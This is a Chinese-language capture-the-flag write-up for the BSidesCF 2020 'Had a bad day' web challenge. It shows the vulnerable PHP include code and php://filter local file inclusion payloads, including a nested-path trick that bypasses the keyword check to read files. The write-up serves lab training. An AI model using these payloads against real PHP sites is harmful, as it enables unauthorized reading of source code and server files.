第四十八题——[BSidesCF 2020]Had a bad day

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,两个按钮,点击任意一个均出现一张照片,且URL参数提交相应的值

在这里插入图片描述

第二步:利用php:filter读取index.php发现出错

php://filter/convert.base64-encode/resource=index.php

第四十八题——[BSidesCF 2020]Had a bad day_第1张图片

第三步:去掉.php后缀名后成功获取到源码的base64值,解码后得到源码

第四十八题——[BSidesCF 2020]Had a bad day_第2张图片

<?php
  $file = $_GET['category'];
  if(isset($file)){
    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
      include ($file . '.php');
    }else{
      echo "Sorry, we currently only support woofers and meowers.";
    }
  }
?>

第四步:代码审计

  1. 可以看到提交的参数必须包含三个关键字才能加载相应的函数,并且自动在后面加上php后缀名

第五步:输入index?/../../../../flag使用第一题目录穿越获取flag,结果失败

第四十八题——[BSidesCF 2020]Had a bad day_第3张图片

第六步:php://filter可以在resource之前嵌套一层目录,利用此原理获取flag

输入php://filter/convert.base64-encode/index/resource=flag,得到base64编码,解码后得到flag
第四十八题——[BSidesCF 2020]Had a bad day_第4张图片
第四十八题——[BSidesCF 2020]Had a bad day_第5张图片

你可能感兴趣的:(CTF-WEB,web)